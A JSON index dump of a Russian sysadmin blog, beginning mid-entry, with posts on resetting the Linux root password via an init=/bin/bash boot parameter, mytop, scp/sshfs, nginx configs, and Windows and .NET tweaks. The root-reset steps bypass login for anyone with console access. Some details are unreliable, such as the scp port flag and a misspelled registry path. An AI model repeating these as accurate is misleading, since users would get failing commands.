необходимо:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eПерезагрузить компьютер любым доступным образом (например, сочетанием клавиш \u003cem\u003e\u003cstrong\u003eCtrl+Alt+Del\u003c/strong\u003e\u003c/em\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eДождаться появления загрузочного меню и клавишами курсора выбрать необходимую версию Linux (в случае, если меню не отображается, надо несколько раз нажать \u003cem\u003e\u003cstrong\u003eShift\u003c/strong\u003e\u003c/em\u003e непосредственно перед загрузкой системы)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eВыбрав систему, нажать клавишу редактирования \u003cem\u003e\u003cstrong\u003ee\u003c/strong\u003e\u003c/em\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eНайти строку с загружаемым ядром вида (вместо kernel может быть linux)\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ekernel /образ_ядра root=/корневой_раздел ro quiet\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eи добавить через пробел\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003einit=/bin/bash\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eЗагрузить систему с внесенными изменениями сочетанием \u003cem\u003e\u003cstrong\u003eCtrl+X\u003c/strong\u003e\u003c/em\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eПеревести корневой раздел в режим записи \u003cstrong\u003emount -rw -o remount /\u003c/strong\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eВвести команду \u003cem\u003e\u003cstrong\u003epasswd\u003c/strong\u003e\u003c/em\u003e и установить новый пароль суперпользователя\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eПерезагрузиться и войти в систему с новым паролем\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e","title":"Восстановление пароля root в Linux"},{"content":"Существует аналог утилиты top для мониторинга производительности MySQL сервера - mytop. Эта консольная утилита для unix-систем подключается к указанному серверу, с некоторой периодичности выполняет команды SHOW PROCESSLIST и SHOW STATUS и отображает сводные результаты с применением каких-либо фильтров.\nВ верхней части окна программы указаны версия и время работы MySQL-сервера, ниже информация о производительности - общее количество обработанных запросов, отдельная статистика по медленным запросам (slow queries). В нижней части отображаются активные потоки (в том числе тот, что создает сама программа). В программе предусмотрено управление с помощью горячих клавиш:\nh или d: выбор конкретных узлов или баз данных, u: фильтр пользователей, f: подробная информация по выбранному потоку, k: уничтожение потока, F: сброс фильтров. Установка в Debian сводится к\napt-get install mytop Для запуска необходимо ввести команду mytop с ключами:\n-u или -user username: имя пользователя, по умолчанию root, -p или -pass password: пароль пользователя root, -h или -host hostname: ip адрес сервера, по умолчанию localhost, -P или -port port: используется для mysql-серверов на нестандартных портах, -s или -delay seconds: частота обновления информации, по умолчанию 5 секунд, -d или -db basename: имя базы данных, которую мониторим. Чтобы каждый раз не вводить эти ключи, можно создать файл настроек ~/.mytop или ~/.my.cnf:\nuser=db_username pass=db_password host=localhost delay=5 port=3306 socket= batchmode=0 header=1 color=1 idle=1 Ссылки:\nhttp://jeremy.zawodny.com/mysql/mytop/ http://rusadmin.biz/mytop-monitoring-mysql.html http://citkit.ru/articles/607/ ","permalink":"https://blog.xsk.in/it/mytop-monitoring-proizvoditel-nosti-mysql/321/","summary":"\u003cp\u003eСуществует аналог утилиты top для мониторинга производительности MySQL сервера - \u003ca href=\"http://jeremy.zawodny.com/mysql/mytop/\"\u003emytop\u003c/a\u003e. Эта консольная утилита для unix-систем подключается к указанному серверу, с некоторой периодичности выполняет команды \u003cem\u003eSHOW PROCESSLIST\u003c/em\u003e и \u003cem\u003eSHOW STATUS\u003c/em\u003e и отображает сводные результаты с применением каких-либо фильтров.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/12/mytop.png\"\u003e\u003cimg alt=\"mytop\" loading=\"lazy\" src=\"/wp-content/uploads/2013/12/mytop.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eВ верхней части окна программы указаны версия и время работы MySQL-сервера, ниже информация о производительности - общее количество обработанных запросов, отдельная статистика по медленным запросам (slow queries). В нижней части отображаются активные потоки (в том числе тот, что создает сама программа). В программе предусмотрено управление с помощью горячих клавиш:\u003c/p\u003e","title":"MyTop - мониторинг производительности MySQL"},{"content":" Копирование единичных файлов (SCP) Работа с удаленными директориями (SSHFS) SCP Протокол SCP (secure copy) разработан специально для копирования файлов посредством SSH. В linux-системах для операций перемещения существует одноименная утилита scp, входящая в состав openssh.\nДля того, чтобы скинуть бэкапы сервера на другую машину, можно выполнить следующую команду:\nscp $local_path/$backup $login@$host:/$remote_path где\n$local_path/$backup - путь и название локального объекта/группы объектов (файлы, папки),\n$login@$host- логин и адрес удаленной машины (IP или доменное имя),\n$remote_path - путь на удаленной машине, куда следует положить объекты.\nРаботает и в обратную сторону. Чтобы забрать архив бэкапа с удаленной машины, можно выполнить:\nscp $login@$remote:/$remote_path/$backup $local_path/$backup Для передачи папок необходимо указывать ключ -r, для подключения к отличному от 22 порта ключ -p.\nТакой подход неудобен тем, что для каждой операции необходим ввод пароля для авторизации на удаленной машине. Проблема решаема использованием ssh-ключей вместо обычных паролей, но такой подход не всегда применим. Кроме того, необходимо явное указание объектов для перемещения. Что не всегда удобно (при большом количестве файлов в разных директориях, к примеру). Чтобы просто скопировать несколько файлов с удаленной машины на локальную, в текущую директорию, необходимо сочинить конструкцию вроде:\nscp $login@$remote:/$remote_path/\\{file1,file2,file3\\} . Note: По умолчанию scp использует при передаче данных алгоритм шифрования Triple-DES. Можно несколько увеличить скорость передачи, включив алгоритм Blowfish, для этого в командной строке следует добавить -c blowfish.\nSSHFS Исправить положение можно, подмонтировав директории удаленной машины на локальную и управлять ими, как при обычной работе с системой. Для этого в linux-системах можно использовать пакет sshfs, основанный на fuse. Работать с ним просто:\nУстанавливаем пакет (в Debian/Ubuntu):\nsudo apt-get install sshfs Создаем точку монтирования на локальной системе, например:\nmkdir /mnt/othercomp Монтируем необходимую директорию удаленной машины:\nsshfs $login@$host:$remote_path $local_path После использования отключаем примантированную директорию командой:\nfusermount -u $local_path При использовании sshfs существует возможность авторизации по ключам, как при обычном ssh-соединении. Также существуют клиенты под другие операционные системы:\nдля Windows-семейства можно попробовать DokanSSHFS(для работы необходимо наличие библиотек с того же сайта);\nпод Mac существует проект MacFUSE (и даже графическая оболочка есть);\nв FreeBSD можно найти порты требуемых пакетов, они расположен здесь: sysutils/fusefs-kmod, sysfsutils/fusefs-libs и sysfsutils/fusefs-sshfs.\nСсылки:\nhttp://ru.wikipedia.org/wiki/SCP http://www.manual.ru/articles/Как_с_помощью_scp_скопировать_файл_или_директорию http://software.intel.com/ru-ru/articles/mounting-remote-directory-over-ssh-and-sftp ","permalink":"https://blog.xsk.in/it/peredacha-fajlov-po-ssh/324/","summary":"\u003col\u003e\n\u003cli\u003e\u003ca href=\"/it/peredacha-fajlov-po-ssh/324/#scp\"\u003eКопирование единичных файлов (SCP)\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/it/peredacha-fajlov-po-ssh/324/#sshfs\"\u003eРабота с удаленными директориями (SSHFS)\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"scp\"\u003e\u003ca name=\"scp\"\u003e\u003c/a\u003eSCP\u003c/h2\u003e\n\u003cp\u003eПротокол SCP (secure copy) разработан специально для копирования файлов посредством SSH. В linux-системах для операций перемещения существует одноименная утилита scp, входящая в состав openssh.\u003c/p\u003e\n\u003cp\u003eДля того, чтобы скинуть бэкапы сервера на другую машину, можно выполнить следующую команду:\u003c/p\u003e","title":"Передача файлов по ssh"},{"content":"Google ради эксперимента предложила твик в виде отключения рекламы по запросу пользователя. Для участия в эксперименте необходимо изменить cookies браузера для сайта youtube.com. Для этого:\nОткрыть сайт youtube.com\nОткрыть консоль своего браузера\nChrome/Opera 15+ — Ctrl+Shift+J под Windows/Linux/ChromeOS или Command-Option-J под Mac; Firefox — Ctrl+Shift+K под Windows/Linux или Command-Option-K под Mac; Opera 12 — Ctrl+Shift+I под Windows/Linux или Command-Option-I под Mac, затем нажать «Console»; Internet Explorer — F12 и выбрать «Console». Скопировать в консоль следующий текст и нажать Enter:\ndocument.cookie=\u0026#34;VISITOR_INFO1_LIVE=oKckVSqvaGw; path=/; domain=.youtube.com\u0026#34;;window.location.reload(); До отключения рекламы сайт выглядит так:\nПосле внесения изменений рекламный банер вверху скрывается:\nДля возврата в исходное состояние можно обнулить cookies следующей командой из консоли:\ndocument.cookie=\u0026#34;VISITOR_INFO1_LIVE=; path=/; domain=.youtube.com\u0026#34;;window.location.reload(); Ссылки:\nhttp://googlesystem.blogspot.ru/2013/08/a-youtube-experiment-removes-ads.html ","permalink":"https://blog.xsk.in/it/otklyuchenie-reklamy-na-youtube/326/","summary":"\u003cp\u003eGoogle ради эксперимента предложила твик в виде отключения рекламы по запросу пользователя. Для участия в эксперименте необходимо изменить cookies браузера для сайта youtube.com. Для этого:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eОткрыть сайт \u003ca href=\"http://youtube.com\"\u003eyoutube.com\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eОткрыть консоль своего браузера\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eChrome/Opera 15+ — Ctrl+Shift+J под Windows/Linux/ChromeOS или Command-Option-J под Mac;\u003c/li\u003e\n\u003cli\u003eFirefox — Ctrl+Shift+K под Windows/Linux или Command-Option-K под Mac;\u003c/li\u003e\n\u003cli\u003eOpera 12 — Ctrl+Shift+I под Windows/Linux или Command-Option-I под Mac, затем нажать «Console»;\u003c/li\u003e\n\u003cli\u003eInternet Explorer — F12 и выбрать «Console».\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eСкопировать в консоль следующий текст и нажать Enter:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003edocument.cookie=\u0026#34;VISITOR_INFO1_LIVE=oKckVSqvaGw; path=/; domain=.youtube.com\u0026#34;;window.location.reload();\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"Отключение рекламы на Youtube"},{"content":"Ниже приведены готовые примеры конфигурации nginx для быстрой настройки связки nginx с php-fpm или apache2 и запуска популярных веб-движков drupal, wordpress или nibbleblog. Материал может быть полезен и в случаях реализации иного функционала, так как содержит базовые настройки серверной части:\nnginx+php-fpm директива include для модулей nginx+php-fpm с модулями nginx+apache2 nginx для WordPress nginx для NibbleBlog nginx для Drupal Первый пример конфигурации для использования в качестве бэкенда php-fpm, принимающего соединения через локальный порт 9000 (в случае работы по другому порту или через сокет, последнюю строку надо заменить):\nserver { # .domain.com will match both domain.com and anything.domain.com server_name .example.com; # It is best to place the root of the server block at the server level, and not the location level # any location block path will be relative to this root. root /usr/local/www/example.com; # It\u0026#39;s always good to set logs, note however you cannot turn off the error log # setting error_log off; will simply create a file called \u0026#39;off\u0026#39;. access_log /var/log/nginx/example.access.log; error_log /var/log/nginx/example.error.log; # This can also go in the http { } level index index.html index.htm index.php; location / { # if you\u0026#39;re just using wordpress and don\u0026#39;t want extra rewrites # then replace the word @rewrites with /index.php try_files $uri $uri/ @rewrites; } location @rewrites { # Can put some of your own rewrite rules in here # for example rewrite ^/~(.*)/(.*)/? /users/$1/$2 last; # If nothing matches we\u0026#39;ll just send it to /index.php rewrite ^ /index.php last; } # This block will catch static file requests, such as images, css, js # The ?: prefix is a \u0026#39;non-capturing\u0026#39; mark, meaning we do not require # the pattern to be captured into $1 which should help improve performance location ~* \\.(?:ico|css|js|gif|jpe?g|png)$ { # Some basic cache-control for static files to be sent to the browser expires max; add_header Pragma public; add_header Cache-Control \u0026#34;public, must-revalidate, proxy-revalidate\u0026#34;; } # remove the robots line if you want to use wordpress\u0026#39; virtual robots.txt location = /robots.txt { access_log off; log_not_found off; } location = /favicon.ico { access_log off; log_not_found off; } # this prevents hidden files (beginning with a period) from being served location ~ /\\. { access_log off; log_not_found off; deny all; } location ~ \\.php { fastcgi_param QUERY_STRING $query_string; fastcgi_param REQUEST_METHOD $request_method; fastcgi_param CONTENT_TYPE $content_type; fastcgi_param CONTENT_LENGTH $content_length; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param REQUEST_URI $request_uri; fastcgi_param DOCUMENT_URI $document_uri; fastcgi_param DOCUMENT_ROOT $document_root; fastcgi_param SERVER_PROTOCOL $server_protocol; fastcgi_param GATEWAY_INTERFACE CGI/1.1; fastcgi_param SERVER_SOFTWARE nginx; fastcgi_param REMOTE_ADDR $remote_addr; fastcgi_param REMOTE_PORT $remote_port; fastcgi_param SERVER_ADDR $server_addr; fastcgi_param SERVER_PORT $server_port; fastcgi_param SERVER_NAME $server_name; fastcgi_pass 127.0.0.1:9000; } } Для упрощения процедуры добавление новых сайтов рекомендуется выносить общие элементы конфигурации в отдельные файлы для дальнейшего включения их через include bla-bla.conf; Например, можно вынести подключение php-обработчика в файл php.conf и использовать include для сайтов на php:\nlocation ~ \\.php { # for security reasons the next line is highly encouraged try_files $uri =404; fastcgi_param QUERY_STRING $query_string; fastcgi_param REQUEST_METHOD $request_method; fastcgi_param CONTENT_TYPE $content_type; fastcgi_param CONTENT_LENGTH $content_length; fastcgi_param SCRIPT_NAME $fastcgi_script_name; # if the next line in yours still contains $document_root # consider switching to $request_filename provides # better support for directives such as alias fastcgi_param SCRIPT_FILENAME $request_filename; fastcgi_param REQUEST_URI $request_uri; fastcgi_param DOCUMENT_URI $document_uri; fastcgi_param DOCUMENT_ROOT $document_root; fastcgi_param SERVER_PROTOCOL $server_protocol; fastcgi_param GATEWAY_INTERFACE CGI/1.1; fastcgi_param SERVER_SOFTWARE nginx; fastcgi_param REMOTE_ADDR $remote_addr; fastcgi_param REMOTE_PORT $remote_port; fastcgi_param SERVER_ADDR $server_addr; fastcgi_param SERVER_PORT $server_port; fastcgi_param SERVER_NAME $server_name; # If using a unix socket... # fastcgi_pass unix:/tmp/php5-fpm.sock; # If using a TCP connection... fastcgi_pass 127.0.0.1:9000; } Обратите внимание, в самом низу содержится закомментированный фрагмент, который может отличаться. Проверьте, как реализовано у вас и исправьте в случае необходимости. Настраивается это в файле /etc/php5/fpm/pool.d/www.conf директива listen.\nТакже в отдельный файл можно вынести модуль блокировки критичных объектов, которые необходимо спрятать от чужих глаз, либо исключить из журналирования доступа (файл drop.conf):\nlocation = /robots.txt { access_log off; log_not_found off; } location = /favicon.ico { access_log off; log_not_found off; } location ~ /\\. { access_log off; log_not_found off; deny all; } location ~ ~$ { access_log off; log_not_found off; deny all; } Таким образом, первый пример файла настройки для простейшего варианта веб-сервера nginx+php-fpm сокращается до следующего:\nserver { # This will listen on all interfaces, you can instead choose a specific IP # such as listen x.x.x.x:80; Setting listen 80 default_server; will make # this server block the default one if no other blocks match the request listen 80; # Here you can set a server name, you can use wildcards such as *.example.com # however remember if you use server_name *.example.com; You\u0026#39;ll only match subdomains # to match both subdomains and the main domain use both example.com and *.example.com server_name example.com www.example.com; # It is best to place the root of the server block at the server level, and not the location level # any location block path will be relative to this root. root /usr/local/www/example.com; # It\u0026#39;s always good to set logs, note however you cannot turn off the error log # setting error_log off; will simply create a file called \u0026#39;off\u0026#39;. access_log /var/log/nginx/example.access.log; error_log /var/log/nginx/example.error.log; location / { # Rewrite rules and other criterias can go here # Remember to avoid using if() where possible (http://wiki.nginx.org/IfIsEvil) } # This block will catch static file requests, such as images, css, js # The ?: prefix is a \u0026#39;non-capturing\u0026#39; mark, meaning we do not require # the pattern to be captured into $1 which should help improve performance location ~* \\.(?:ico|css|js|gif|jpe?g|png)$ { # Some basic cache-control for static files to be sent to the browser expires max; add_header Pragma public; add_header Cache-Control \u0026#34;public, must-revalidate, proxy-revalidate\u0026#34;; } # We can include our basic configs here, as you can see its much easier # than pasting out the entire sets of location block each time we add a vhost include drop.conf; include php.conf; } Ниже приведен пример настройки для серверов с Apache2 в качестве бэкенда (слушающий порт 8080, может быть изменен в apache2.conf:\nserver { listen 80; server_name example.com www.example.com; root /usr/local/www/example.com; access_log /var/log/nginx/example.access.log; error_log /var/log/nginx/example.error.log; location / { # Rewrite rules can go here } location ~* \\.(?:ico|css|js|gif|jpe?g|png)$ { expires max; add_header Pragma public; add_header Cache-Control \u0026#34;public, must-revalidate, proxy-revalidate\u0026#34;; } location ~ \\.php { proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header Host $host; proxy_pass http://127.0.0.1:8080; } include drop.conf; } Если в качестве движка для сайта используется WordPress, можно добавить ограничение на запросы к странице поиска (для снижения нагрузки на сервер в случае атаки ботами):\nserver { listen 80; server_name example.com www.example.com; root /usr/local/www/example.com; access_log /var/log/nginx/example.access.log; error_log /var/log/nginx/example.error.log; location / { try_files $uri $uri/ /index.php; } location /search { limit_req zone=kbeezieone burst=3 nodelay; rewrite ^ /index.php; } fastcgi_intercept_errors off; location ~* \\.(?:ico|css|js|gif|jpe?g|png)$ { expires max; add_header Pragma public; add_header Cache-Control \u0026#34;public, must-revalidate, proxy-revalidate\u0026#34;; } include php.conf; # You may want to remove the robots line from drop to use a virtual robots.txt # or create a drop_wp.conf tailored to the needs of the wordpress configuration include drop.conf; } Более сложный пример конфигурации для WordPress с использованием W3 Total Cache содержит специфичные директивы:\nserver { listen 80; server_name example.com www.example.com; root /usr/local/www/example.com; access_log /var/log/nginx/example.access.log; error_log /var/log/nginx/example.error.log; # the next two location blocks are to ensure gzip encoding is turned off # for the serving of already gzipped w3tc page cache # normally gzip static would handle this but W3TC names them with _gzip location ~ /wp-content/cache/page_enhanced.*html$ { expires max; charset utf-8; add_header Vary \u0026#34;Accept-Encoding, Cookie\u0026#34;; add_header Pragma public; add_header Cache-Control \u0026#34;public, must-revalidate, proxy-revalidate\u0026#34;; } location ~ /wp-content/cache/page_enhanced.*gzip$ { expires max; gzip off; types {} charset utf-8; default_type text/html; add_header Vary \u0026#34;Accept-Encoding, Cookie\u0026#34;; add_header Content-Encoding gzip; add_header Pragma public; add_header Cache-Control \u0026#34;public, must-revalidate, proxy-revalidate\u0026#34;; } location / { if (-f $request_filename) { break; } set $w3tc_rewrite 1; if ($request_method = POST) { set $w3tc_rewrite 0; } if ($query_string != \u0026#34;\u0026#34;) { set $w3tc_rewrite 0; } set $w3tc_rewrite2 1; if ($request_uri !~ \\/$) { set $w3tc_rewrite2 0; } if ($request_uri ~* \u0026#34;(sitemap(_index)?\\.xml(\\.gz)?|[a-z0-9_\\-]+-sitemap([0-9]+)?\\.xml(\\.gz)?)\u0026#34;) { set $w3tc_rewrite2 1; } if ($w3tc_rewrite2 != 1) { set $w3tc_rewrite 0; } if ($http_cookie ~* \u0026#34;(comment_author|wp\\-postpass|wordpress_\\[a\\-f0\\-9\\]\\+|wordpress_logged_in)\u0026#34;) { set $w3tc_rewrite 0; } if ($http_user_agent ~* \u0026#34;(W3\\ Total\\ Cache/0\\.9\\.2\\.4)\u0026#34;) { set $w3tc_rewrite 0; } set $w3tc_ua \u0026#34;\u0026#34;; set $w3tc_ref \u0026#34;\u0026#34;; set $w3tc_ssl \u0026#34;\u0026#34;; set $w3tc_enc \u0026#34;\u0026#34;; if ($http_accept_encoding ~ gzip) { set $w3tc_enc _gzip; } set $w3tc_ext \u0026#34;\u0026#34;; if (-f \u0026#34;$document_root/wp-content/cache/page_enhanced/$host/$request_uri/_index$w3tc_ua$w3tc_ref$w3tc_ssl.html$w3tc_enc\u0026#34;) { set $w3tc_ext .html; } if ($w3tc_ext = \u0026#34;\u0026#34;) { set $w3tc_rewrite 0; } if ($w3tc_rewrite = 1) { rewrite ^ \u0026#34;/wp-content/cache/page_enhanced/$host/$request_uri/_index$w3tc_ua$w3tc_ref$w3tc_ssl$w3tc_ext$w3tc_enc\u0026#34; last; } if (!-e $request_filename) { rewrite ^ /index.php last; } } location /search { limit_req zone=kbeezieone burst=3 nodelay; rewrite ^ /index.php; } fastcgi_intercept_errors off; location ~* \\.(?:ico|css|js|gif|jpe?g|png)$ { expires max; add_header Pragma public; add_header Cache-Control \u0026#34;public, must-revalidate, proxy-revalidate\u0026#34;; } include php.conf; # You may want to remove the robots line from drop to use a virtual robots.txt # or create a drop_wp.conf tailored to the needs of the wordpress configuration include drop.conf; } Последний вариант (SuperCache):\nserver { listen 80; server_name example.com www.example.com; root /usr/local/www/example.com; access_log /var/log/nginx/example.access.log; error_log /var/log/nginx/example.error.log; location / { # This line when enabled will use Nginx\u0026#39;s gzip static module gzip_static on; # Disables serving gzip content to IE 6 or below gzip_disable \u0026#34;MSIE [1-6]\\.\u0026#34;; # Sets the default type to text/html so that gzipped content is served # as html, instead of raw uninterpreted data. default_type text/html; # does the requested file exist exactly as it is? if yes, serve it and stop here if (-f $request_filename) { break; } # sets some variables to help test for the existence of a cached copy of the request set $supercache_file \u0026#39;\u0026#39;; set $supercache_uri $request_uri; # IF the request is a post, has a query attached, or a cookie # then don\u0026#39;t serve the cache (ie: users logged in, or posting comments) if ($request_method = POST) { set $supercache_uri \u0026#39;\u0026#39;; } if ($query_string) { set $supercache_uri \u0026#39;\u0026#39;; } if ($http_cookie ~* \u0026#34;comment_author_|wordpress|wp-postpass_\u0026#34; ) { set $supercache_uri \u0026#39;\u0026#39;; } # if the supercache_uri variable hasn\u0026#39;t been blanked by this point, attempt # to set the name of the destination to the possible cache file if ($supercache_uri ~ ^(.+)$) { set $supercache_file /wp-content/cache/supercache/$http_host/$1index.html; } # If a cache file of that name exists, serve it directly if (-f $document_root$supercache_file) { rewrite ^ $supercache_file break; } # Otherwise send the request back to index.php for further processing if (!-e $request_filename) { rewrite ^ /index.php last; } } location /search { limit_req zone=kbeezieone burst=3 nodelay; rewrite ^ /index.php; } fastcgi_intercept_errors off; location ~* \\.(?:ico|css|js|gif|jpe?g|png)$ { expires max; add_header Pragma public; add_header Cache-Control \u0026#34;public, must-revalidate, proxy-revalidate\u0026#34;; } include php.conf; # You may want to remove the robots line from drop to use a virtual robots.txt # or create a drop_wp.conf tailored to the needs of the wordpress configuration include drop.conf; } Для легкой CMS Nibbleblog (см вариант применения на хандрос.рф или anuta-nuta.ru) конфигурация будет примерно следующей:\nserver { listen 80; root /usr/local/www/example.com;; server_name example.com www.example.com; # access log turned off for speed access_log off; error_log /var/log/nginx/domain.error.log; # main location block location / { expires 7d; try_files $uri $uri/ @rewrites; } # rewrite rules if file/folder did not exist location @rewrites { rewrite ^/dashboard$ /admin.php?controller=user\u0026amp;action=login last; rewrite ^/feed /feed.php last; rewrite ^/category/([^/]+)/page-([0-9]+)$ /index.php?controller=blog\u0026amp;action=view\u0026amp;category=$1\u0026amp;page=$2 last; rewrite ^/category/([^/]+)/$ /index.php?controller=blog\u0026amp;action=view\u0026amp;category=$1\u0026amp;page=0 last; rewrite ^/page-([0-9]+)$ /index.php?controller=blog\u0026amp;action=view\u0026amp;page=$1 last; } # location catch for /post-#/Post_Title # will also catch odd instances of /post-#/something.php location ~ ^/post-([0-9]+)/ { rewrite ^ /index.php?controller=post\u0026amp;action=view\u0026amp;id_post=$1 last; } # cache control for static files location ~* \\.(?:ico|css|js|gif|jpe?g|png)$ { expires max; add_header Pragma public; add_header Cache-Control \u0026#34;public, must-revalidate, proxy-revalidate\u0026#34;; } include drop.conf; include php.conf; } И, наконец, для Drupal 6+ (проверьте директиву доступа к логам и впишите свои диапазоны адресов):\nserver { listen 80; server_name example.com www.example.com; root /usr/local/www/example.com; access_log /var/log/nginx/example.access.log; error_log /var/log/nginx/example.error.log; # This matters if you use drush location = /backup { deny all; } # Very rarely should these ever be accessed outside of your lan location ~* \\.(txt|log)$ { allow 192.168.0.0/16; deny all; } location ~ \\..*/.*\\.php$ { return 403; } location / { # This is cool because no php is touched for static content try_files $uri @rewrite; } location @rewrite { # Some modules enforce no slash (/) at the end of the URL # Else this rewrite block wouldn\u0026#39;t be needed (GlobalRedirect) rewrite ^/(.*)$ /index.php?q=$1; } # Fighting with ImageCache? This little gem is amazing. location ~ ^/sites/.*/files/imagecache/ { try_files $uri @rewrite; } location ~* \\.(?:ico|css|js|gif|jpe?g|png)$ { expires max; add_header Pragma public; add_header Cache-Control \u0026#34;public, must-revalidate, proxy-revalidate\u0026#34;; log_not_found off; } include php.conf; # You may want to remove the robots line from drop to use a virtual robots.txt # or create a drop_wp.conf tailored to the needs of the wordpress configuration include drop.conf; } Ссылки:\nhttp://www.phoenixvps.com/guides/2013/04/nginx-configuration-examples ","permalink":"https://blog.xsk.in/it/primery-konfiguratsii-nginx/254/","summary":"\u003cp\u003eНиже приведены готовые примеры конфигурации nginx для быстрой настройки связки nginx с php-fpm или apache2 и запуска популярных веб-движков drupal, wordpress или nibbleblog. Материал может быть полезен и в случаях реализации иного функционала, так как содержит базовые настройки серверной части:\u003c/p\u003e","title":"Примеры конфигурации nginx"},{"content":"Если в системе установлена более новая версия пакета, чем требуемая для работы, версию можно понизить, прямо указав нужную версию. Например, apt-get install mysql=5.2.10.\n","permalink":"https://blog.xsk.in/it/ustanovka-staroj-versii-paketa-v-debian-ubuntu/251/","summary":"\u003cp\u003eЕсли в системе установлена более новая версия пакета, чем требуемая для работы, версию можно понизить, прямо указав нужную версию. Например, \u003ccode\u003eapt-get install mysql=5.2.10.\u003c/code\u003e\u003c/p\u003e","title":"Установка старой версии пакета в Debian/Ubuntu"},{"content":"После установки свежей системы Windows и обновления всех компонентов до последних версий после перезагрузки в ТОПы процессорного времени внезапно вырвался сервис, по логике вещей оптимизирующий как раз его же. Беглое гугление дало понять, что убивать из списка процессов виновника не стоит.\nПриложения, написанные на .NET, представляют собой некий кросс-платформенный код. В процессе запуска и выполнения такие приложения вышеуказанной службой на лету перегоняются в нативный код Windows. Процесс перевода называется JIT-компиляцией (Just-In-Time).\nС точки зрения разработчика подобный подход имеет больше плюсов, чем минусов. Но для рядового пользователя JIT несет за собой непростительные снижения производительности системы. Для снижения потерь используется пре-компиляция, суть которой в досрочной компиляции всех .NET приложений в нативный код и их кэширование для дальнейшего использования. Именно .NET Runtime Optimization Service и занимается процессами pre-JIT. Именно поэтому наблюдаются тормоза после свежей установки или обновления .NET.\nДля того, чтобы ускорить процесс, можно запустить вручную весь pre-JIT на время рабочего перекура или обеда. Для этого необходимо:\nНайти папку, откуда стартует служба (например, C:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727) Выполнить из папки команду ngen.exe executequeueditems Покурить или выпить чай во время выполнения команды (время выполнения зависит от производительности компьютера) Попробовать выполнить команду повторно и получить сообщение All compilation targets are up to date Радоваться заметному ускорению работы системы Ссылки:\nhttp://daisaev.blogspot.ru/2009/06/net-runtime-optimization-service.html ","permalink":"https://blog.xsk.in/it/net-runtime-optimization-service-cpu-100/246/","summary":"\u003cp\u003eПосле установки свежей системы Windows и обновления всех компонентов до последних версий после перезагрузки в ТОПы процессорного времени внезапно вырвался сервис, по логике вещей оптимизирующий как раз его же. Беглое гугление дало понять, что убивать из списка процессов виновника не стоит.\u003c/p\u003e","title":".NET Runtime Optimization Service загружает процессор на 100%"},{"content":"Экран ноутбука автоматически изменяет яркость в зависимости от содержимого экрана. Отключить адаптивную регулировку яркости в Windows 7 можно так:\nПерейти в Пуск - Панель управления - Электропитание - Настройка плана электропитания - Изменить дополнительные параметры питания В открывшемся окне выбрать для текущего плана пункт Экран - Включить адаптивную регулировку яркости\nи установить значение \u0026ldquo;Выкл\u0026rdquo; Сохранить изменения нажатием \u0026ldquo;ОК\u0026rdquo; и выйти В случае отсутствия пункта настройки адаптивной регулировки яркости необходимо активировать его в реестре. Для этого:\nЗапустить редактор реестра Win + R - Выполнить - regedit - Enter Перейти в ветку HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentContrliSet\\Contrli\\Power\\PowerSettings и отыскать внутри подраздел, отвечающий за видео и экран\n(в ключе Description будет содержаться \u0026ldquo;Video and Display power management settings and configurations\u0026rdquo;) Отыскать среди подразделов тот, что в Description содержит \u0026ldquo;Monitors ambient light sensors to detect changes in ambient light and adjust the display brightness\u0026rdquo;\n(ключ FriendlyName также намекает на верность находки: \u0026ldquo;Enable adaptive brightness\u0026rdquo; Изменить значение ключа Attributes на отличное от \u0026ldquo;1\u0026rdquo; (в некоторых источниках советуют сделать наоборот, поэтому просто меняем на отличное от текущего, например \u0026ldquo;0\u0026rdquo;-\u0026ldquo;1\u0026rdquo;, \u0026ldquo;1\u0026rdquo;-\u0026ldquo;2\u0026rdquo;, \u0026ldquo;1\u0026rdquo;-\u0026ldquo;0\u0026rdquo; и др.) Проверяем появление пункта в настройках электропитания панели управления (перезагрузка системы не требуется) Ссылки:\nЦентрализованная настройка экрана блокировки и плана электропитания операционных систем Управление электропитанием ","permalink":"https://blog.xsk.in/it/otklyuchenie-avtoregulirovki-yarkosti-e-krana-v-windows/237/","summary":"\u003cp\u003eЭкран ноутбука автоматически изменяет яркость в зависимости от содержимого экрана. Отключить адаптивную регулировку яркости в Windows 7 можно так:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eПерейти в Пуск - Панель управления - Электропитание - Настройка плана электропитания - Изменить дополнительные параметры питания\u003c/li\u003e\n\u003cli\u003eВ открывшемся окне выбрать для текущего плана пункт Экран - Включить адаптивную регулировку яркости\u003cbr\u003e\n\u003ca 